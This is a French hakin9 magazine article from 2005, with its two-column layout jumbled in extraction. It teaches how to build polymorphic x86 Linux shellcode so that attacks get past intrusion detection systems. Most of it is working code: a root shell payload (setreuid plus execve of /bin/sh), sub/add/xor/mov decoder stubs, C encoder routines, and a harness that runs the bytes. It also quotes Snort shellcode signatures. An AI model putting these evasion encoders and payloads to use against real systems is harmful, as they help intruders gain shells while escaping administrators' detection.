Créer un shellcode
polymorphique
Michał Piotrowski
Article publié dans le numéro 6/2005 du magazine hakin9
Tout droits réservés. La copie et la diffusion d’article sont admises a condition de garder sa forme et son contenu actuels.
Magazine hakin9, Software – Wydawnictwo, ul. Piaskowa 3, 01-067 Varsovie, Pologne,
[email protected] Créer un shellcode
polymorphique
Programmation
Michał Piotrowski
Degré de difficulté
Grâce à l'article publié dans le numéro précédent de hakin9,
vous avez appris à créer et modifier le shellcode. Vous avez eu
également l'occasion de connaître les problèmes de base liés à sa
structure et les techniques permettant de les contourner. Grâce
à cet article, vous allez apprendre ce qu'est le polymorphisme
et comment écrire les shellcodes non identifiables par les
systèmes IDS.
L
orsque vous réalisez une attaque contre Pour ne pas commencer dès le début, uti-
un service réseau, il y a toujours un risque lisez trois logiciels créés au préalable. Prenez
que vous soyez repéré par un système de comme exemple deux shellcodes write4.asm et
détection d'intrusions (en anglais Intrusion De- shell4.asm. Leurs codes source sont présentés
tection System – IDS) et que malgré la réussite sur les Listings 1 et 2 et la méthode pour les con-
de l'attaque, l'administrateur vous identifie vite et vertir en code assembleur est démontrée sur les
qu'il vous déconnecte du réseau attaqué. C'est Figures 1 et 2. Pour tester vos shellcodes, utilisez
incontournable car la plupart des shellcodes ont le logiciel test.c présenté sur le Listing 3.
une structure similaire, utilisent les mêmes ap-
pels système et les instructions assembleur et il Shellcode développé
est donc facile de créer pour ces shellcodes des Votre objectif est d'écrire un code constitué des
signatures universelles. deux éléments suivants : la fonction de décodeur
La solution partielle à ce problème est la et le shellcode encodé. Après avoir lancé le code
création de shellcode polymorphique qui n'aura et après s'être retrouvé dans la mémoire tampon
pas les caractéristiques propres aux shellcodes
typiques, mais qui réalisera en même temps
les mêmes fonctionnalités. Cela peut paraître Cet article explique...
difficile à réaliser, mais si vous arrivez à maîtri-
• comment écrire un shellcode polymorphique,
ser la structure du shellcode lui-même, cela ne • comment créer un programme donnant aux
vous posera aucun problème. Tout comme dans shellcodes les traits polymorphiques.
l'article Optimisation des shellcodes dans Linux
publié dans hakin9 5/2005, votre point de départ Ce qu'il faut savoir...
sera la plateforme x86 de 32 bits, le système
Linux avec le noyau de la série 2.4 (tous les • vous devez savoir utiliser le système Linux,
exemples fonctionnent également dans les sys- • vous devez connaître les règles de program-
tèmes dotés de noyau de la série 2.6) et les outils mation en C et en assembler.
Netwide Assembler (nasm) et hexdump.
68 hakin9 Nº 6/2005 www.hakin9.org
Shellcode polymorphique
Polymorphisme Listing 1. Fichier write4.asm
Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été
1: BITS 32
employé en informatique pour la première fois par un pirate bulgare portant le 2:
pseudonyme Dark Avenger, ce dernier ayant créé en 1992 le premier virus polymor- 3: ; write(1,"hello, world!",14)
phique. L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant 4: push word 0x0a21
aux modèles, c'est-à-dire à certains traits caractéristiques permettant d'identifier un 5: push 0x646c726f
code donné. La technique de détection des modèles est utilisée dans les logiciels 6: push 0x77202c6f
antivirus et dans les systèmes de détection des intrusions. 7: push 0x6c6c6568
L'encodage est un mécanisme le plus souvent utilisé pour intégrer le polymor- 8: mov ecx, esp
9: push byte 4
phisme dans le code des logiciels informatiques. Le code approprié, exécutant les
10: pop eax
fonctions principales du logiciel est encodé et une fonction de plus est ajoutée au
11: push byte 1
logiciel, dont la seule tâche est d'encoder et de lancer le code original.
12: pop ebx
13: push byte 14
14: pop edx
15: int 0x80
Signatures 16:
Un élément clé pour tous les systèmes réseau de détection d'intrusions (en anglais 17: ; exit(0)
Network Intrusion Detection System – NIDS) est la base de signatures, à savoir un 18: mov eax, ebx
ensemble de caractéristiques pour une attaque donnée ou un type d'attaques. Le sys- 19: xor ebx, ebx
tème NIDS intercepte tous les paquets envoyés à travers le réseau et il essaye de les 20: int 0x80
comparer à une des signatures disponibles. Dès qu'il réussit, une alerte est déclenchée.
Les systèmes plus avancés sont également capables de configurer le pare-feu de sorte
qu'il n'autorise pas l'entrée du trafic venant de l'adresse IP appartenant à l'intrus. Listing 2. Fichier shell4.asm
Ci-dessous, vous trouverez trois exemples de signatures pour le logiciel Snort
permettant d'identifier la plupart des shellcodes typiques pour les systèmes Linux. La 1: BITS 32
première d'entre elles détecte la fonction setuid (les octets B0 17 CD 80), la deuxième 2:
la chaîne de caractères /bin/sh et la troisième le piège NOP : 3: ; setreuid(0, 0)
4: push byte 70
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any 5: pop eax
6: xor ebx, ebx
(msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|";
7: xor ecx, ecx
reference:arachnids,436; classtype:system-call-detect;
8: int 0x80
sid:650; rev:8;)
9:
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any 10: ; execve("/bin//sh",
(msg:"SHELLCODE Linux shellcode"; ["/bin//sh", NULL], NULL)
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; 11: xor eax, eax
reference:arachnids,343; classtype:shellcode-detect; 12: push eax
sid:652; rev:9;) 13: push 0x68732f2f
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any 14: push 0x6e69622f
(msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa"; 15: mov ebx, esp
16: push eax
classtype:shellcode-detect; sid:1394; rev:5;)
17: push ebx
18: mov ecx, esp
Il est beaucoup plus difficile aux systèmes IDS de noter la présence de code polymorphi-
19: cdq
que que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne
20: mov al, 11
résout pas tous les problèmes. La plupart des systèmes contemporains de détection d'in-
21: int 0x80
trusions utilisent, outre les signatures, des techniques plus ou moins avancées permettant
de détecter également le shellcode encodé. Les plus connues parmi elles sont l'identifica-
tion de la chaîne NOP, la détection des fonctions du décodeur et l'émulation du code.
Listing 3. Fichier test.c
dans un logiciel vulnérable, la fonction permettant d'y parvenir mais quatre char shellcode[]="";
main() {
de décodeur décode tout d'abord le méthodes utilisant les instructions
int (*shell)();
shellcode approprié, puis elle lui trans- assembleur de base sont utilisées le (int)shell = shellcode;
fère la gestion. La structure du shell- plus souvent : shell();
code développé est présentée sur la }
Figure 3 et la Figure 4 représente les • la soustraction (l'instruction sub)
étapes données de son fonctionne- – les valeurs numériques don-
ment. nées sont soustraites des octets • la différence symétrique (l'ins-
du shellcode encodé, truction xor) – les octets donnés
Décodeur • l'ajout (instruction add) – les valeurs du shellcode sont soumis à l'opé-
La tâche du décodeur est de décoder numériques données sont ajoutées ration de différence symétrique
le shellcode. Il existe divers moyens aux octets donnés du shellcode, avec une valeur définie,
www.hakin9.org hakin9 Nº 6/2005 69
Programmation
Listing 4. Fichier decode_
sub.asm
1: BITS 32
2:
3: jmp short three
4:
Figure 1. Shellcode write4 5: one:
6: pop esi
7: xor ecx, ecx
8: mov cl, 0
9:
10: two:
11: sub byte [esi + ecx - 1], 0
12: sub cl, 1
13: jnz two
14: jmp short four
Figure 2. Shellcode shell4
15:
• le déplacement (l'instruction mov) 16: three:
17: call one
– les octets donnés du shellcode
18:
sont échangés les uns contre les 19: four:
autres.
Le Listing 4 représente le code sour- sant la longueur du shellcode encodé.
ce du décodeur utilisant l'instruction Pour l'instant, la valeur est 0 mais cela
de soustraction. Essayez d'examiner changera plus tard. Entre les lignes
de près son fonctionnement. Com- 10 et 14, il y a une boucle qui s'exécu-
mencez par la troisième ligne du tera autant de fois que le nombre des
code source et à l'endroit repéré octets se trouvant dans le shellcode
comme three. Vous y trouverez l'ins- encodé. Dans les itérations suivantes,
truction call transférant l'exécution le nombre mis dans le registre ECX
Figure 3. Structure du code du logiciel vers l'endroit one et met- sera diminué de 1 (l'instruction sub
polymorphique tant en même temps sur la pile la cl, 1 dans la ligne 12) et la boucle
valeur de l'adresse de l'instruction cessera de fonctionner lorsque cette
suivante. Grâce à cela, l'adresse de valeur sera égale à zéro. L'instruction
l'instruction four se trouvant après jnz two (Jump if Not Zero) sautera au
le code du décodeur sera mise sur début de la boucle repéré comme two
la pile – dans votre cas, ce sera le jusqu'à ce que le résultat de soustrac-
début du shellcode encodé. tion ne soit pas égal à zéro.
Dans la sixième ligne, enlevez Dans la ligne 11, il y a l'instruction
cette adresse de la pile et mettez-la proprement dite décodant le shellco-
dans le registre ESI, réglez à zéro de – elle soustrait le zéro des octets
le registre ECX (ligne 7) et insérez-y suivants du shellcode (en regardant
(ligne 8) un nombre de 1 octet définis- en arrière). Bien sûr, la soustraction
Figure 4. Étapes de fonctionnement
du code polymorphique Figure 5. Compilation du décodeur decode_sub.asm
70 hakin9 Nº 6/2005 www.hakin9.org
Shellcode polymorphique
du zéro n'a pas de sens, mais vous
vous en occuperez dans la partie Listing 5. Fichier encode1.c
suivante de l'article. Dès que tout le #include <stdio.h>
code retrouvera sa forme originale, char shellcode[] =
le décodeur saute (ligne 14) au début "\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
du code, ce qui permet aux instruc- "\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"
"\x89\xd8\x31\xdb\xcd\x80";
tions s'y trouvant de s'exécuter.
int main() {
La compilation du code décodeur char *encode;
se déroule de la même manière int shellcode_len, encode_len;
que la compilation du shellcode, ce int count, i, l = 16;
qui est représenté sur la Figure 5. int offset = 1;
shellcode_len = strlen(shellcode);
Comme vous pouvez le constater,
encode = (char *) malloc(shellcode_len);
il y a dans le code deux octets zéro for (count = 0; count < shellcode_len; count++)
correspondant aux zéros dans les encode[count] = shellcode[count] + offset;
lignes 8 et 11 du code source du pro- printf("Encoded shellcode (%d bytes long):\n", strlen(encode));
gramme decode_sub.asm. Vous les printf("char shellcode[] =\n");
for (i = 0; i < strlen(encode); ++i) {
remplacerez par les valeurs correc-
if (l >= 16) {
tes (non zéro) lorsque vous allez lier if (i) printf("\"\n");
le décodeur au shellcode encodé. printf("\t\"");
l = 0;
Encoder le shellcode }
++l;
Vous avez déjà la fonction de décoda-
printf("\\x%02x", ((unsigned char *)encode)[i]);
ge et il vous manque encore le shell- }
code encodé. Vous avez également printf("\";\n");
les shellcodes– write4 et shell4. Il faut free(encode);
donc les convertir au format pouvant return 0;
}
coopérer avec le décodeur. Il est
possible de le faire manuellement en
ajoutant à chaque octet du code une
valeur choisie, mais une telle solution Listing 6. Version modifiée du fichier test.c
est peu efficace et manque de sou-
char shellcode[] =
plesse à l'usage . Au lieu de cela, uti- //decoder - decode_sub
lisez un nouveau programme nommé "\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75"
encode1.c visible sur le Listing 5. "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
À chaque octet de la variable de //encoded shellcode - write4
"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
caractères shellcode, il ajoute la va-
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"
leur définie dans la variable offset. "\x8a\xd9\x32\xdc\xce\x81";
Dans ce cas, modifiez le shellcode main() {
write4 en incrémentant chaque octet int (*shell)();
de 1. La compilation du programme (int)shell = shellcode;
shell();
et le résultat obtenu sont présentés
}
sur la Figure 6. Si vous comparez
maintenant le shellcode original avec
celui encodé, vous noterez qu'ils
diffèrent de 1. En outre, le code que
vous avez obtenu, résultant du fonc-
tionnement du programme encode1,
ne contient pas les octets zéro (0x00)
– et de même, il peut être inséré dans
un programme vulnérable au débor-
dement de la mémoire tampon. Figure 6. Compilation et fonctionnement du programme encode1.c
Lier le décodeur au code tout dans la variable shellcode du encodé est de 38 octets – 26 dans le
Vous avez maintenant le décodeur et programme test.c (Listing 6) tout en système hexadécimal) et \x01 (pour
le shellcode encodé. Il ne vous reste remplaçant les deux octets zéro se obtenir un shellcode original, il faut
qu'à les assembler et à vérifier si tout trouvant dans le code décodeur par diminuer de 1 la valeur de chaque oc-
fonctionne correctement. Insérez-le la valeur \x26 (la longueur du code tet). Comme vous pouvez le voir sur la
www.hakin9.org hakin9 Nº 6/2005 71
Programmation
l'instruction disponible dans la ligne 11,
vous n'allez pas les présenter dans
leur totalité. Il suffit que la ligne 11 soit
remplacée par add byte [esi + ecx
- 1], 0 (pour decode _ add) ou par xor
byte [esi + ecx - 1], 0 (pour decode _
xor). Le code source decode _ mov
(voyez le Listing 7) est un peu différent
et il utilise quatre instructions mov qui
échangent les places de tous les deux
octets voisins. Compilez les codes
pour obtenir les programmes montrés
sur la Figure 8. Transformez-les alors
en variables de caractères et insérez
dans le fichier source de votre moteur
encodee.c (Listing 8).
Figure 7. Vérifier le fonctionnement du code polymorphique
Fonctions d'encodage
originale, il l'encodera et il ajoutera Il est temps maintenant de créer
Listing 7. Fichier decode_ un décodeur adéquat. quatre fonctions qui chargeront le
mov.asm Commencez par créer les déco- shellcode en version originale et qui
1: BITS 32 deurs utilisant les instructions add, xor l'encoderont. Nommez-les respecti-
2: et mov. Nommez-les respectivement vement : encode _ sub, encode _ add,
3: jmp short three decode _ add, decode _ xor et decode _ encode _ xor et encode _ mov. Les trois
4: mov. Comme les codes source des premières fonctions prennent comme
5: one:
fonctions decode _ add et decode _ xor arguments le pointeur vers le shellco-
6: pop esi
7: xor eax, eax diffèrent de la fonction decode _ sub de que vous voulez encoder et la clé
8: xor ebx, ebx créée au préalable seulement par sous la forme de la valeur de dépla-
9: xor ecx, ecx
10: mov cl, 0
11:
12: two:
13: mov byte al, [esi + ecx - 1]
14: mov byte bl, [esi + ecx - 2]
15: mov byte [esi + ecx - 1], bl
16: mov byte [esi + ecx - 2], al
17: sub cl, 2
18: jnz two
19: jmp short four
20:
21: three:
22: call one
23:
24: four:
Figure 8. Décodeurs add, xor et mov
Figure 7, votre nouveau shellcode po-
lymorphique fonctionne bien – le shell- Listing 8. Définition des décodeurs
code original est décodé et il affiche le char decode_sub[] =
message sur la sortie standard. "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
Créer un moteur char decode_add[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75"
A présent, vous savez donner aux
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
shellcodes les caractéristiques poly- char decode_xor[] =
morphiques et les masquer ainsi aux "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75"
systèmes de détection d'intrusions. "\xf6\xeb\x05\xe8\xea\xff\xff\xff";
Essayez alors d'écrire un program- char decode_mov[] =
"\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a"
me simple permettant d'automatiser
"\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb"
tout le processus – à l'entrée, il "\xeb\x05\xe8\xdb\xff\xff\xff";
acceptera le shellcode en version
72 hakin9 Nº 6/2005 www.hakin9.org
Shellcode polymorphique
www.hakin9.org hakin9 Nº 6/2005 73
Programmation
cement et elles retournent un pointeur
vers un code nouvellement créé. Si Listing 9. Fonctions d'encodage
lors de l'encodage, un octet zéro ap- char *encode_sub(char *scode, int offset) {
paraît dans le shellcode résultant, les char *ecode = NULL;
fonctions cesseront de fonctionner et int scode_len = strlen(scode);
elles retourneront la valeur NULL. int i;
ecode = (char *) malloc(scode_len);
La fonction encode _ mov prenant
for (i = 0; i < scode_len; i++) {
seulement un argument (le shell- ecode[i] = scode[i] + offset;
code) et changeant la place de tous if (ecode[i] == '\0') {
les deux octets voisins se présente free(ecode);
d'une autre manière. Pour éviter les ecode = NULL;
break;
erreurs liées à la modification du
}
code à un nombre impair d'octets, la }
fonction vérifie la longueur du shell- return ecode;
code et si nécessaire, échange le }
dernier octet contre l'instruction NOP
char *encode_add(char *scode, int offset) {
(0x90). Grâce à cela, la longueur du char *ecode = NULL;
code sera toujours la multiplicité de 2. int scode_len = strlen(scode);
Toutes les quatre fonctions sont pré- int i;
sentées sur le Listing 9. ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] - offset;
Fonctions liant le décodeur au if (ecode[i] == '\0') {
code encodé free(ecode);
Pour lier le code décodeur au shell- ecode = NULL;
code encodé, utilisez l'une de quatre break;
}
fonctions disponibles. Ce sont : add _
}
sub _ decoder, add _ add _ decoder, return ecode;
add _ xor _ decoder et add _ mov _ }
decoder. Chacune d'entre elles mo-
char *encode_xor(char *scode, int offset) {
difie le décodeur dans une variable
char *ecode = NULL;
appropriée de sorte à remplacer les int scode_len = strlen(scode);
endroits zéro s'y trouvant par la lon- int i;
gueur du code encodé et la valeur ecode = (char *) malloc(scode_len);
de déplacement. Ensuite, elle lie le for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] ^ offset;
décodeur au code encodé chargé en
if (ecode[i] == '\0') {
tant qu'argument, puis elle retourne le free(ecode);
pointeur vers le code polymorphique ecode = NULL;
tout prêt. Le Listing 10 représente break;
l'une de ces fonctions – les autres font }
}
partie du fichier encodee.c disponible
return ecode;
dans hakin9.live. }
Fonctions d'aide et la fonction char *encode_mov(char *scode) {
principale char *ecode = NULL;
int scode_len = strlen(scode);
Vous avez encore besoin de quel-
int ecode_len = scode_len;
ques fonctions d'aide permettant int i;
de faciliter l'utilisation du pro- if ((i = scode_len % 2) > 0)
gramme. La plus importante s'ap- ecode_len++;
ecode = (char *) malloc(ecode_len);
pelle get _ shellcode, elle charge le
for (i = 0; i < scode_len; i += 2) {
shellcode original depuis un fichier if (i + 1 == scode_len)
défini comme argument. La deuxiè- ecode[i] = 0x90;
me, print _ code, affiche le shellcode else
sous la forme formatée, prête à être ecode[i] = scode[i + 1];
ecode[i + 1] = scode[i];
insérée dans un exploit ou dans le
}
programme test.c. Les deux der- return ecode;
nières fonctions s'appellent usage et }
getoffset – la première affiche la mé-
74 hakin9 Nº 6/2005 www.hakin9.org
Shellcode polymorphique
www.hakin9.org hakin9 Nº 6/2005 75
Programmation
Listing 10. L'une des fonctions liant le décodeur au code encodé
À propos de l'auteur
char *add_sub_decoder(char *ecode, int offset) { Michał Piotrowski est maître en infor-
char *pcode = NULL; matique et administrateur expérimenté
int ecode_len = strlen(ecode); des réseaux et systèmes. Durant
int decode_sub_len; plus de trois ans, il a travaillé en tant
decode_sub[6] = ecode_len; qu'inspecteur de sécurité dans un éta-
decode_sub[11] = offset; blissement responsable du bureau de
decode_sub_len = strlen(decode_sub);
certification supérieur dans l'infrastruc-
pcode = (char *) malloc(decode_sub_len + ecode_len);
ture polonaise PKI. Actuellement, il est
memcpy(pcode, decode_sub, decode_sub_len);
un expert en sécurité téléinformatique
memcpy(pcode + decode_sub_len, ecode, ecode_len);
return pcode; dans l'une des plus grandes institutions
} financières en Pologne. Il passe son
temps libre à programmer. Il s'occupe
également de la cryptographie.
Mettez ensemble tous les élé-
ments du programme en utilisant la
fonction main (voir le fichier encodee.c
dans hakin9.live). Celle-ci est très
simple – tout d'abord, elle vérifie les
paramètres avec lesquels le program-
me a été démarré, puis elle charge le
shellcode depuis un fichier indiqué,
elle encode à l'aide de la fonction
choisie, ajoute le décodeur et imprime
le tout sur la sortie standard.
Tester le programme
Vérifiez maintenant si votre pro-
gramme fonctionne correctement.
Pour cela, créez un shellcode à base
du code write4 encodé via l'instruc-
Figure 9. Compiler le programme encodee et créer un shellcode exemplaire tion add et le déplacement égal à 15
(Figure 9). Insérez-le ensuite dans le
programme test et vérifiez son fonc-
tionnement (Figure 10).
Conclusion
Vous connaissez maintenant les mé-
thodes permettant de générer des
shellcodes polymorphiques et vous
avez réussi à écrire un programme
automatisant tout le processus. Bien
sûr, cela reste un programme très sim-
ple qui n'utilise que quatre décodeurs
les plus communs mais il peut être un
point de référence pour vos propres
Figure 10. Tester le shellcode généré études et expérimentations. l
thode de démarrage du programme
et la seconde tire un nombre utilisé
Sur Internet
en tant que déplacement (si l'utili- • http://www.orkspace.net/software/libShellCode/index.php – page d'accueil du projet
sateur ne le définit pas). Le code libShellCode,
de ces fonctions est présenté dans • http://www.ktwo.ca/security.html – page d'accueil de l'auteur d'ADMmutate,
le fichier encodee.c disponible dans • http://www.phiral.com/ – page d'accueil de l'auteur du programme dissembler.
hakin9.live.
76 hakin9 Nº 6/2005 www.hakin9.org